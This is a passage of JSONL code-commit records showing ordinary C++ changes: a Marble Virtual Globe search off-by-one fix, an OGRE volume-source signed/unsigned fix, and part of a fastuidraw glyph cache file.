object::urbi_call(r, object::global_class->slot_get(SYMBOL(ArgumentTypeError)),\n                        SYMBOL(new),\n                        new object::String(r.innermost_call_get()),\n                        new object::Float(idx),\n                        expected,\n                        effective),\n      true);\n    pabort(\"Unreachable\");\n  }\n\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ This file is part of the Marble Virtual Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2011      Dennis Nienhüser <earthwings@gentoo.org>\n\/\/\n\n#include \"Search.h\"\n\n#include \"MarbleWidget.h\"\n#include \"MarbleModel.h\"\n#include \"MarblePlacemarkModel.h\"\n\nnamespace Marble\n{\nnamespace Declarative\n{\n\nSearch::Search( QObject* parent ) : QObject( parent ),\n    m_marbleWidget( 0 ), m_runnerManager( 0 ),\n    m_searchResult( 0 ), m_placemarkDelegate( 0 ),\n    m_delegateParent( 0 )\n{\n    \/\/ nothing to do\n}\n\nvoid Search::setMarbleWidget( Marble::MarbleWidget* widget )\n{\n    m_marbleWidget = widget;\n    connect( m_marbleWidget, SIGNAL( visibleLatLonAltBoxChanged( GeoDataLatLonAltBox ) ),\n             this, SLOT( updatePlacemarks() ) );\n}\n\nQDeclarativeComponent* Search::placemarkDelegate()\n{\n    return m_placemarkDelegate;\n}\n\nvoid Search::setPlacemarkDelegate( QDeclarativeComponent* delegate )\n{\n    m_placemarkDelegate = delegate;\n    emit placemarkDelegateChanged();\n}\n\nvoid Search::setDelegateParent( QGraphicsItem* parent )\n{\n    m_delegateParent = parent;\n}\n\nvoid Search::find( const QString &searchTerm )\n{\n    if ( !m_runnerManager && m_marbleWidget ) {\n        m_runnerManager = new Marble::MarbleRunnerManager( m_marbleWidget->model()->pluginManager(), this );\n        connect( m_runnerManager, SIGNAL( searchFinished( QString ) ),\n                 this, SIGNAL( searchFinished() ) );\n        connect( m_runnerManager, SIGNAL( searchResultChanged( QAbstractItemModel* ) ),\n                 this, SLOT( updateSearchModel( QAbstractItemModel* ) ) );\n    }\n\n    if ( m_runnerManager ) {\n        m_runnerManager->findPlacemarks( searchTerm );\n    }\n}\n\nQObject* Search::searchResultModel()\n{\n    return m_searchResult;\n}\n\nvoid Search::updateSearchModel( QAbstractItemModel *model )\n{\n    m_searchResult = static_cast<MarblePlacemarkModel*>( model );\n    qDeleteAll( m_placemarks.values() );\n    m_placemarks.clear();\n\n    if ( !m_placemarkDelegate ) {\n        return;\n    }\n\n    for ( int i=1; i<m_searchResult->rowCount(); ++i ) {\n        QDeclarativeContext *context = new QDeclarativeContext( qmlContext( m_placemarkDelegate ) );\n        QObject* component = m_placemarkDelegate->create( context );\n        QGraphicsItem* graphicsItem = qobject_cast<QGraphicsItem*>( component );\n        QDeclarativeItem* item = qobject_cast<QDeclarativeItem*>( component );\n        if ( graphicsItem && item ) {\n            context->setContextProperty( \"hit\", QVariant( QString::number( i ) ) );\n            context->setContextProperty( \"name\", m_searchResult->data( m_searchResult->index( i ), Qt::DisplayRole ) );\n            graphicsItem->setParentItem( m_delegateParent );\n            m_placemarks[i] = item;\n        } else {\n            delete component;\n        }\n    }\n    updatePlacemarks();\n}\n\nvoid Search::updatePlacemarks()\n{\n    if ( m_marbleWidget ) {\n        QMap<int, QDeclarativeItem*>::const_iterator iter = m_placemarks.constBegin();\n        while ( iter != m_placemarks.constEnd() ) {\n            qreal x(0), y(0);\n            QVariant position = m_searchResult->data( m_searchResult->index( iter.key() ), MarblePlacemarkModel::CoordinateRole );\n            GeoDataCoordinates const coordinates = qVariantValue<GeoDataCoordinates>( position );\n            bool const visible = m_marbleWidget->screenCoordinates( coordinates.longitude( GeoDataCoordinates::Degree ), coordinates.latitude( GeoDataCoordinates::Degree ), x, y );\n            QDeclarativeItem* item = iter.value();\n            if ( item ) {\n                item->setVisible( visible );\n                if ( visible ) {\n                    item->setPos( x - item->width() \/ 2.0, y - item->height() \/ 2.0 );\n                }\n            }\n            ++iter;\n        }\n    }\n}\n\n}\n}\n\n#include \"Search.moc\"\n<commit_msg>Fix off-by-one error, make lon\/lat available as context properties.<commit_after>\/\/\n\/\/ This file is part of the Marble Virtual Globe.\n\/\/\n\/\/ This program is free software licensed under the GNU LGPL. You can\n\/\/ find a copy of this license in LICENSE.txt in the top directory of\n\/\/ the source code.\n\/\/\n\/\/ Copyright 2011      Dennis Nienhüser <earthwings@gentoo.org>\n\/\/\n\n#include \"Search.h\"\n\n#include \"MarbleWidget.h\"\n#include \"MarbleModel.h\"\n#include \"MarblePlacemarkModel.h\"\n\nnamespace Marble\n{\nnamespace Declarative\n{\n\nSearch::Search( QObject* parent ) : QObject( parent ),\n    m_marbleWidget( 0 ), m_runnerManager( 0 ),\n    m_searchResult( 0 ), m_placemarkDelegate( 0 ),\n    m_delegateParent( 0 )\n{\n    \/\/ nothing to do\n}\n\nvoid Search::setMarbleWidget( Marble::MarbleWidget* widget )\n{\n    m_marbleWidget = widget;\n    connect( m_marbleWidget, SIGNAL( visibleLatLonAltBoxChanged( GeoDataLatLonAltBox ) ),\n             this, SLOT( updatePlacemarks() ) );\n}\n\nQDeclarativeComponent* Search::placemarkDelegate()\n{\n    return m_placemarkDelegate;\n}\n\nvoid Search::setPlacemarkDelegate( QDeclarativeComponent* delegate )\n{\n    m_placemarkDelegate = delegate;\n    emit placemarkDelegateChanged();\n}\n\nvoid Search::setDelegateParent( QGraphicsItem* parent )\n{\n    m_delegateParent = parent;\n}\n\nvoid Search::find( const QString &searchTerm )\n{\n    if ( !m_runnerManager && m_marbleWidget ) {\n        m_runnerManager = new Marble::MarbleRunnerManager( m_marbleWidget->model()->pluginManager(), this );\n        connect( m_runnerManager, SIGNAL( searchFinished( QString ) ),\n                 this, SIGNAL( searchFinished() ) );\n        connect( m_runnerManager, SIGNAL( searchResultChanged( QAbstractItemModel* ) ),\n                 this, SLOT( updateSearchModel( QAbstractItemModel* ) ) );\n    }\n\n    if ( m_runnerManager ) {\n        m_runnerManager->findPlacemarks( searchTerm );\n    }\n}\n\nQObject* Search::searchResultModel()\n{\n    return m_searchResult;\n}\n\nvoid Search::updateSearchModel( QAbstractItemModel *model )\n{\n    m_searchResult = static_cast<MarblePlacemarkModel*>( model );\n    qDeleteAll( m_placemarks.values() );\n    m_placemarks.clear();\n\n    if ( !m_placemarkDelegate ) {\n        return;\n    }\n\n    for ( int i=0; i<m_searchResult->rowCount(); ++i ) {\n        QDeclarativeContext *context = new QDeclarativeContext( qmlContext( m_placemarkDelegate ) );\n        QObject* component = m_placemarkDelegate->create( context );\n        QGraphicsItem* graphicsItem = qobject_cast<QGraphicsItem*>( component );\n        QDeclarativeItem* item = qobject_cast<QDeclarativeItem*>( component );\n        if ( graphicsItem && item ) {\n            QVariant position = m_searchResult->data( m_searchResult->index( i ), MarblePlacemarkModel::CoordinateRole );\n            GeoDataCoordinates const coordinates = qVariantValue<GeoDataCoordinates>( position );\n            context->setContextProperty( \"longitude\", QVariant( coordinates.longitude( GeoDataCoordinates::Degree ) ) );\n            context->setContextProperty( \"latitude\", QVariant( coordinates.latitude( GeoDataCoordinates::Degree ) ) );\n            context->setContextProperty( \"hit\", QVariant( QString::number( i+1 ) ) );\n            context->setContextProperty( \"name\", m_searchResult->data( m_searchResult->index( i ), Qt::DisplayRole ) );\n            graphicsItem->setParentItem( m_delegateParent );\n            m_placemarks[i] = item;\n        } else {\n            delete component;\n        }\n    }\n    updatePlacemarks();\n}\n\nvoid Search::updatePlacemarks()\n{\n    if ( m_marbleWidget ) {\n        QMap<int, QDeclarativeItem*>::const_iterator iter = m_placemarks.constBegin();\n        while ( iter != m_placemarks.constEnd() ) {\n            qreal x(0), y(0);\n            QVariant position = m_searchResult->data( m_searchResult->index( iter.key() ), MarblePlacemarkModel::CoordinateRole );\n            GeoDataCoordinates const coordinates = qVariantValue<GeoDataCoordinates>( position );\n            bool const visible = m_marbleWidget->screenCoordinates( coordinates.longitude( GeoDataCoordinates::Degree ), coordinates.latitude( GeoDataCoordinates::Degree ), x, y );\n            QDeclarativeItem* item = iter.value();\n            if ( item ) {\n                item->setVisible( visible );\n                if ( visible ) {\n                    item->setPos( x - item->width() \/ 2.0, y - item->height() \/ 2.0 );\n                }\n            }\n            ++iter;\n        }\n    }\n}\n\n}\n}\n\n#include \"Search.moc\"\n<|endoftext|>"}
{"text":"<commit_before>\/*\n-----------------------------------------------------------------------------\nThis source file is part of OGRE\n(Object-oriented Graphics Rendering Engine)\nFor the latest info, see http:\/\/www.ogre3d.org\n\nCopyright (c) 2000-2013 Torus Knot Software Ltd\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n-----------------------------------------------------------------------------\n*\/\n#include \"OgreVolumeSource.h\"\n\n#include \"OgreRoot.h\"\n#include \"OgreDeflate.h\"\n#include \"OgreStreamSerialiser.h\"\n#include \"OgreBitwise.h\"\n\nnamespace Ogre {\nnamespace Volume {\n    \n    const uint32 Source::VOLUME_CHUNK_ID = StreamSerialiser::makeIdentifier(\"VOLU\");\n    const uint16 Source::VOLUME_CHUNK_VERSION = 1;\n    const size_t Source::SERIALIZATION_CHUNK_SIZE = 1000;\n\n    \/\/-----------------------------------------------------------------------\n\n    Vector3 Source::getIntersectionStart(const Ray &ray, Real maxDistance) const\n    {\n        return ray.getOrigin();\n    }\n\n    \/\/-----------------------------------------------------------------------\n\n    Vector3 Source::getIntersectionEnd(const Ray &ray, Real maxDistance) const\n    {\n        Vector3 dir = ray.getDirection().normalisedCopy();\n        return ray.getOrigin() + dir * maxDistance;\n    }\n\n    \/\/-----------------------------------------------------------------------\n\n    Source::~Source(void)\n    {\n    }\n\n    \/\/-----------------------------------------------------------------------\n\n    void Source::serialize(const Vector3 &from, const Vector3 &to, float voxelWidth, const String &file)\n    {\n        Real maxClampedAbsoluteDensity = (from - to).length() \/ (Real)16.0;\n        serialize(from, to, voxelWidth, maxClampedAbsoluteDensity, file);\n    }\n\n    \/\/-----------------------------------------------------------------------\n\n    void Source::serialize(const Vector3 &from, const Vector3 &to, float voxelWidth, Real maxClampedAbsoluteDensity, const String &file)\n    {\n     \n        Timer t;\n\n        \/\/ Compress\n        DataStreamPtr stream = Root::getSingleton().createFileStream(file);\n        DataStreamPtr compressStream(OGRE_NEW DeflateStream(file, stream));\n        StreamSerialiser ser(compressStream);\n        ser.writeChunkBegin(VOLUME_CHUNK_ID, VOLUME_CHUNK_VERSION);\n\n        \/\/ Write Metadata\n        ser.write(&from);\n        ser.write(&to);\n        ser.write<float>(&voxelWidth);\n        Vector3 diagonal = to - from;\n        size_t gridWidth = (size_t)(diagonal.x \/ voxelWidth);\n        size_t gridHeight = (size_t)(diagonal.y \/ voxelWidth);\n        size_t gridDepth = (size_t)(diagonal.z \/ voxelWidth);\n        ser.write<size_t>(&gridWidth);\n        ser.write<size_t>(&gridHeight);\n        ser.write<size_t>(&gridDepth);\n\n        \/\/ Go over the volume and write the density data.\n        Vector3 pos;\n        Real realVal;\n        size_t x;\n        size_t y;\n        uint16 buffer[SERIALIZATION_CHUNK_SIZE];\n        size_t bufferI = 0;\n        for (size_t z = 0; z < gridDepth; ++z)\n        {\n            for (x = 0; x < gridWidth; ++x)\n            {\n                for (y = 0; y < gridHeight; ++y)\n                {\n                    pos.x = x * voxelWidth + from.x;\n                    pos.y = y * voxelWidth + from.y;\n                    pos.z = z * voxelWidth + from.z;\n                    realVal = Math::Clamp<Real>(getValue(pos), -maxClampedAbsoluteDensity, maxClampedAbsoluteDensity);\n                    buffer[bufferI] = Bitwise::floatToHalf(realVal);\n                    bufferI++;\n                    if (bufferI == SERIALIZATION_CHUNK_SIZE)\n                    {\n                        ser.write<uint16>(buffer, SERIALIZATION_CHUNK_SIZE);\n                        bufferI = 0;\n                    }\n                }\n            }\n        }\n        if (bufferI > 0)\n        {\n            ser.write<uint16>(buffer, bufferI);\n        }\n        LogManager::getSingleton().stream() << \"Time for serialization: \" << t.getMilliseconds() << \"ms\";\n\n        ser.writeChunkEnd(VOLUME_CHUNK_ID);\n        \n    }\n\n    \/\/-----------------------------------------------------------------------\n\n    bool Source::getFirstRayIntersection(const Ray &ray, Vector3 &result, size_t maxIterations, Real maxDistance) const\n    {\n        Vector3 start = getIntersectionStart(ray, maxDistance);\n        Vector3 cur = start;\n        Vector3 end = getIntersectionEnd(ray, maxDistance);\n     \n        Vector4 startVal = getValueAndGradient(start);\n        Vector3 scaleSampleGradient(startVal.x, startVal.y, startVal.z);\n        Vector3 scaleSampleEnd = start + scaleSampleGradient.normalisedCopy();\n        Real scaleSample = getValue(scaleSampleEnd);\n        Real scale = (Real)1.0 \/ Math::Abs(scaleSample - startVal.w) * (Real)2.0;\n\n        Real densityCur = getValue(cur);\n        Vector3 dir = ray.getDirection().normalisedCopy();\n\n        int count = 0;\n        Vector3 prev, prevPrev;\n        bool atEnd = false;\n        Real totalLength = (start - end).length();\n        while (Math::Abs(densityCur) > (Real)0.01 && !atEnd)\n        {\n            cur += dir * (Real)-1.0 * (densityCur \/ scale);\n            \n            \/\/ Increase the scaling a bit if we jump forth and back due to bad depth data.\n            if ((cur - prevPrev).length() < (Real)0.0001)\n            {\n                scale *= (Real)2.0;\n            }\n            prevPrev = prev;\n            prev = cur;\n\n            densityCur = getValue(cur);\n\n            \/\/ Check if we are out of range\n            if ((start - cur).length() >= totalLength) {\n                atEnd = true;\n            }\n\n            \/\/ We have a limit here...\n            count++;\n            if (count > maxIterations)\n            {\n                break;\n            }\n        }\n\n        if (Math::Abs(densityCur) <= (Real)0.01)\n        {\n            result = cur;\n            return true;\n        }\n        return false;\n    }\n\n}\n}<commit_msg>Volume Rendering: signed \/ unsigned comparsion removed<commit_after>\/*\n-----------------------------------------------------------------------------\nThis source file is part of OGRE\n(Object-oriented Graphics Rendering Engine)\nFor the latest info, see http:\/\/www.ogre3d.org\n\nCopyright (c) 2000-2013 Torus Knot Software Ltd\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n-----------------------------------------------------------------------------\n*\/\n#include \"OgreVolumeSource.h\"\n\n#include \"OgreRoot.h\"\n#include \"OgreDeflate.h\"\n#include \"OgreStreamSerialiser.h\"\n#include \"OgreBitwise.h\"\n\nnamespace Ogre {\nnamespace Volume {\n    \n    const uint32 Source::VOLUME_CHUNK_ID = StreamSerialiser::makeIdentifier(\"VOLU\");\n    const uint16 Source::VOLUME_CHUNK_VERSION = 1;\n    const size_t Source::SERIALIZATION_CHUNK_SIZE = 1000;\n\n    \/\/-----------------------------------------------------------------------\n\n    Vector3 Source::getIntersectionStart(const Ray &ray, Real maxDistance) const\n    {\n        return ray.getOrigin();\n    }\n\n    \/\/-----------------------------------------------------------------------\n\n    Vector3 Source::getIntersectionEnd(const Ray &ray, Real maxDistance) const\n    {\n        Vector3 dir = ray.getDirection().normalisedCopy();\n        return ray.getOrigin() + dir * maxDistance;\n    }\n\n    \/\/-----------------------------------------------------------------------\n\n    Source::~Source(void)\n    {\n    }\n\n    \/\/-----------------------------------------------------------------------\n\n    void Source::serialize(const Vector3 &from, const Vector3 &to, float voxelWidth, const String &file)\n    {\n        Real maxClampedAbsoluteDensity = (from - to).length() \/ (Real)16.0;\n        serialize(from, to, voxelWidth, maxClampedAbsoluteDensity, file);\n    }\n\n    \/\/-----------------------------------------------------------------------\n\n    void Source::serialize(const Vector3 &from, const Vector3 &to, float voxelWidth, Real maxClampedAbsoluteDensity, const String &file)\n    {\n     \n        Timer t;\n\n        \/\/ Compress\n        DataStreamPtr stream = Root::getSingleton().createFileStream(file);\n        DataStreamPtr compressStream(OGRE_NEW DeflateStream(file, stream));\n        StreamSerialiser ser(compressStream);\n        ser.writeChunkBegin(VOLUME_CHUNK_ID, VOLUME_CHUNK_VERSION);\n\n        \/\/ Write Metadata\n        ser.write(&from);\n        ser.write(&to);\n        ser.write<float>(&voxelWidth);\n        Vector3 diagonal = to - from;\n        size_t gridWidth = (size_t)(diagonal.x \/ voxelWidth);\n        size_t gridHeight = (size_t)(diagonal.y \/ voxelWidth);\n        size_t gridDepth = (size_t)(diagonal.z \/ voxelWidth);\n        ser.write<size_t>(&gridWidth);\n        ser.write<size_t>(&gridHeight);\n        ser.write<size_t>(&gridDepth);\n\n        \/\/ Go over the volume and write the density data.\n        Vector3 pos;\n        Real realVal;\n        size_t x;\n        size_t y;\n        uint16 buffer[SERIALIZATION_CHUNK_SIZE];\n        size_t bufferI = 0;\n        for (size_t z = 0; z < gridDepth; ++z)\n        {\n            for (x = 0; x < gridWidth; ++x)\n            {\n                for (y = 0; y < gridHeight; ++y)\n                {\n                    pos.x = x * voxelWidth + from.x;\n                    pos.y = y * voxelWidth + from.y;\n                    pos.z = z * voxelWidth + from.z;\n                    realVal = Math::Clamp<Real>(getValue(pos), -maxClampedAbsoluteDensity, maxClampedAbsoluteDensity);\n                    buffer[bufferI] = Bitwise::floatToHalf(realVal);\n                    bufferI++;\n                    if (bufferI == SERIALIZATION_CHUNK_SIZE)\n                    {\n                        ser.write<uint16>(buffer, SERIALIZATION_CHUNK_SIZE);\n                        bufferI = 0;\n                    }\n                }\n            }\n        }\n        if (bufferI > 0)\n        {\n            ser.write<uint16>(buffer, bufferI);\n        }\n        LogManager::getSingleton().stream() << \"Time for serialization: \" << t.getMilliseconds() << \"ms\";\n\n        ser.writeChunkEnd(VOLUME_CHUNK_ID);\n        \n    }\n\n    \/\/-----------------------------------------------------------------------\n\n    bool Source::getFirstRayIntersection(const Ray &ray, Vector3 &result, size_t maxIterations, Real maxDistance) const\n    {\n        Vector3 start = getIntersectionStart(ray, maxDistance);\n        Vector3 cur = start;\n        Vector3 end = getIntersectionEnd(ray, maxDistance);\n     \n        Vector4 startVal = getValueAndGradient(start);\n        Vector3 scaleSampleGradient(startVal.x, startVal.y, startVal.z);\n        Vector3 scaleSampleEnd = start + scaleSampleGradient.normalisedCopy();\n        Real scaleSample = getValue(scaleSampleEnd);\n        Real scale = (Real)1.0 \/ Math::Abs(scaleSample - startVal.w) * (Real)2.0;\n\n        Real densityCur = getValue(cur);\n        Vector3 dir = ray.getDirection().normalisedCopy();\n\n        size_t count = 0;\n        Vector3 prev, prevPrev;\n        bool atEnd = false;\n        Real totalLength = (start - end).length();\n        while (Math::Abs(densityCur) > (Real)0.01 && !atEnd)\n        {\n            cur += dir * (Real)-1.0 * (densityCur \/ scale);\n            \n            \/\/ Increase the scaling a bit if we jump forth and back due to bad depth data.\n            if ((cur - prevPrev).length() < (Real)0.0001)\n            {\n                scale *= (Real)2.0;\n            }\n            prevPrev = prev;\n            prev = cur;\n\n            densityCur = getValue(cur);\n\n            \/\/ Check if we are out of range\n            if ((start - cur).length() >= totalLength) {\n                atEnd = true;\n            }\n\n            \/\/ We have a limit here...\n            count++;\n            if (count > maxIterations)\n            {\n                break;\n            }\n        }\n\n        if (Math::Abs(densityCur) <= (Real)0.01)\n        {\n            result = cur;\n            return true;\n        }\n        return false;\n    }\n\n}\n}<|endoftext|>"}
{"text":"<commit_before>\/*!\n * \\file glyph_cache.cpp\n * \\brief file glyph_cache.cpp\n *\n * Copyright 2016 by Intel.\n *\n * Contact: kevin.rogovin@intel.com\n *\n * This Source Code Form is subject to the\n * terms of the Mozilla Public License, v. 2.0.\n * If a copy of the MPL was not distributed with\n * this file, You can obtain one at\n * http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * \\author Kevin Rogovin <kevin.rogovin@intel.com>\n *\n *\/\n\n\n#include <map>\n#include <vector>\n#include <fastuidraw\/text\/glyph_cache.hpp>\n#include <fastuidraw\/text\/glyph_render_data.hpp>\n#include \"..\/private\/util_private.hpp\"\n\n\nnamespace\n{\n\n  class GlyphCachePrivate;\n\n  class GlyphDataPrivate\n  {\n  public:\n    GlyphDataPrivate(GlyphCachePrivate *c, unsigned int I):\n      m_cache(c),\n      m_cache_location(I),\n      m_geometry_offset(-1),\n      m_geometry_length(0),\n      m_uploaded_to_atlas(false),\n      m_glyph_data(NULL)\n    {}\n\n    void\n    clear(void);\n\n    enum fastuidraw::return_code\n    upload_to_atlas(void);\n\n    \/* owner\n     *\/\n    GlyphCachePrivate *m_cache;\n\n    \/* location into m_cache->m_glyphs\n     *\/\n    unsigned int m_cache_location;\n\n    \/* layout magicks\n     *\/\n    fastuidraw::GlyphLayoutData m_layout;\n    fastuidraw::GlyphRender m_render;\n\n    \/* Location in atlas\n     *\/\n    fastuidraw::vecN<fastuidraw::GlyphLocation, 2> m_atlas_location;\n    int m_geometry_offset, m_geometry_length;\n    bool m_uploaded_to_atlas;\n\n    \/* data to generate glyph data\n     *\/\n    fastuidraw::GlyphRenderData *m_glyph_data;\n  };\n\n  class GlyphSource\n  {\n  public:\n    GlyphSource(void):\n      m_glyph_code(0)\n    {}\n\n    GlyphSource(fastuidraw::FontBase::const_handle f,\n                uint32_t gc, fastuidraw::GlyphRender r):\n      m_font(f),\n      m_glyph_code(gc),\n      m_render(r)\n    {}\n\n    bool\n    operator<(const GlyphSource &rhs) const\n    {\n      return (m_font != rhs.m_font) ? m_font < rhs.m_font :\n        (m_glyph_code != rhs.m_glyph_code) ? m_glyph_code < rhs.m_glyph_code :\n        m_render < rhs.m_render;\n    }\n\n    fastuidraw::FontBase::const_handle m_font;\n    uint32_t m_glyph_code;\n    fastuidraw::GlyphRender m_render;\n  };\n\n  class GlyphCachePrivate\n  {\n  public:\n    explicit\n    GlyphCachePrivate(fastuidraw::GlyphAtlas::handle patlas, fastuidraw::GlyphCache *p);\n\n    ~GlyphCachePrivate();\n\n    \/*  When the atlas is full, we will clear the atlas, but save\n        the values in m_glyphs but mark them as not having been\n        uploaded, this way returned values are safe and we do\n        not have to regenerate data either.\n     *\/\n\n    GlyphDataPrivate*\n    fetch_or_allocate_glyph(GlyphSource src);\n\n    fastuidraw::GlyphAtlas::handle m_atlas;\n    std::map<GlyphSource, GlyphDataPrivate*> m_glyph_map;\n    std::vector<GlyphDataPrivate*> m_glyphs;\n    std::vector<unsigned int> m_free_slots;\n    fastuidraw::GlyphCache *m_p;\n  };\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ GlyphDataPrivate methods\nvoid\nGlyphDataPrivate::\nclear(void)\n{\n  m_render = fastuidraw::GlyphRender();\n  assert(!m_render.valid());\n\n  if(m_atlas_location[0].valid())\n    {\n      m_cache->m_atlas->deallocate(m_atlas_location[0]);\n      m_atlas_location[0] = fastuidraw::GlyphLocation();\n    }\n\n  if(m_atlas_location[1].valid())\n    {\n      m_cache->m_atlas->deallocate(m_atlas_location[1]);\n      m_atlas_location[1] = fastuidraw::GlyphLocation();\n    }\n\n  if(m_geometry_offset != -1)\n    {\n      m_cache->m_atlas->deallocate_geometry_data(m_geometry_offset, m_geometry_length);\n      m_geometry_offset = -1;\n      m_geometry_length = 0;\n    }\n\n  m_uploaded_to_atlas = false;\n  if(m_glyph_data)\n    {\n      FASTUIDRAWdelete(m_glyph_data);\n      m_glyph_data = NULL;\n    }\n}\n\nenum fastuidraw::return_code\nGlyphDataPrivate::\nupload_to_atlas(void)\n{\n  \/* TODO:\n     1. this method is not thread safe if different threads\n        attempt to access the same glyph (or if different\n        threads call this routine and clear_atlas()\n        at the same time).\n\n     2. this routine is hideous to read due to the handling\n        of allocation failures. Should likely bunch the\n        allocation behind objects whose ctors and dtors\n        do the right thing.\n   *\/\n  enum fastuidraw::return_code return_value;\n\n  if(m_uploaded_to_atlas)\n    {\n      return fastuidraw::routine_success;\n    }\n\n  assert(m_glyph_data);\n  return_value = m_glyph_data->upload_to_atlas(m_cache->m_atlas,\n                                               m_atlas_location[0],\n                                               m_atlas_location[1],\n                                               m_geometry_offset,\n                                               m_geometry_length);\n  if(return_value == fastuidraw::routine_success)\n    {\n      m_uploaded_to_atlas = true;\n    }\n\n  return return_value;\n}\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ GlyphCachePrivate methods\nGlyphCachePrivate::\nGlyphCachePrivate(fastuidraw::GlyphAtlas::handle patlas,\n                  fastuidraw::GlyphCache *p):\n  m_atlas(patlas),\n  m_p(p)\n{}\n\nGlyphCachePrivate::\n~GlyphCachePrivate()\n{\n  for(unsigned int i = 0, endi = m_glyphs.size(); i < endi; ++i)\n    {\n      m_glyphs[i]->clear();\n      FASTUIDRAWdelete(m_glyphs[i]);\n    }\n}\n\n\nGlyphDataPrivate*\nGlyphCachePrivate::\nfetch_or_allocate_glyph(GlyphSource src)\n{\n  std::map<GlyphSource, GlyphDataPrivate*>::iterator iter;\n  GlyphDataPrivate *G;\n\n  iter = m_glyph_map.find(src);\n  if(iter != m_glyph_map.end())\n    {\n      return iter->second;\n    }\n\n\n  if(m_free_slots.empty())\n    {\n      G = FASTUIDRAWnew GlyphDataPrivate(this, m_glyphs.size());\n      m_glyphs.push_back(G);\n      assert(!G->m_render.valid());\n    }\n  else\n    {\n      unsigned int v(m_free_slots.back());\n      m_free_slots.pop_back();\n      G = m_glyphs[v];\n      assert(!G->m_render.valid());\n    }\n  m_glyph_map[src] = G;\n  return G;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ fastuidraw::Glyph methods\nenum fastuidraw::glyph_type\nfastuidraw::Glyph::\ntype(void) const\n{\n  GlyphDataPrivate *p;\n  p = reinterpret_cast<GlyphDataPrivate*>(m_opaque);\n  assert(p != NULL);\n  return p->m_render.m_type;\n}\n\nconst fastuidraw::GlyphLayoutData&\nfastuidraw::Glyph::\nlayout(void) const\n{\n  GlyphDataPrivate *p;\n  p = reinterpret_cast<GlyphDataPrivate*>(m_opaque);\n  assert(p != NULL && p->m_render.valid());\n  return p->m_layout;\n}\n\nfastuidraw::reference_counted_ptr<fastuidraw::GlyphCache>\nfastuidraw::Glyph::\ncache(void) const\n{\n  GlyphDataPrivate *p;\n  p = reinterpret_cast<GlyphDataPrivate*>(m_opaque);\n  assert(p != NULL && p->m_render.valid());\n  return p->m_cache->m_p;\n}\n\nunsigned int\nfastuidraw::Glyph::\ncache_location(void) const\n{\n  GlyphDataPrivate *p;\n  p = reinterpret_cast<GlyphDataPrivate*>(m_opaque);\n  assert(p != NULL && p->m_render.valid());\n  return p->m_cache_location;\n}\n\nfastuidraw::GlyphLocation\nfastuidraw::Glyph::\natlas_location(void) const\n{\n  GlyphDataPrivate *p;\n  p = reinterpret_cast<GlyphDataPrivate*>(m_opaque);\n  assert(p != NULL && p->m_render.valid());\n  return p->m_atlas_location[0];\n}\n\nfastuidraw::GlyphLocation\nfastuidraw::Glyph::\nsecondary_atlas_location(void) const\n{\n  GlyphDataPrivate *p;\n  p = reinterpret_cast<GlyphDataPrivate*>(m_opaque);\n  assert(p != NULL && p->m_render.valid());\n  return p->m_atlas_location[1];\n}\n\nint\nfastuidraw::Glyph::\ngeometry_offset(void) const\n{\n  GlyphDataPrivate *p;\n  p = reinterpret_cast<GlyphDataPrivate*>(m_opaque);\n  assert(p != NULL && p->m_render.valid());\n  return p->m_geometry_offset;\n}\n\nenum fastuidraw::return_code\nfastuidraw::Glyph::\nupload_to_atlas(void) const\n{\n  GlyphDataPrivate *p;\n  p = reinterpret_cast<GlyphDataPrivate*>(m_opaque);\n  assert(p != NULL && p->m_render.valid());\n  return 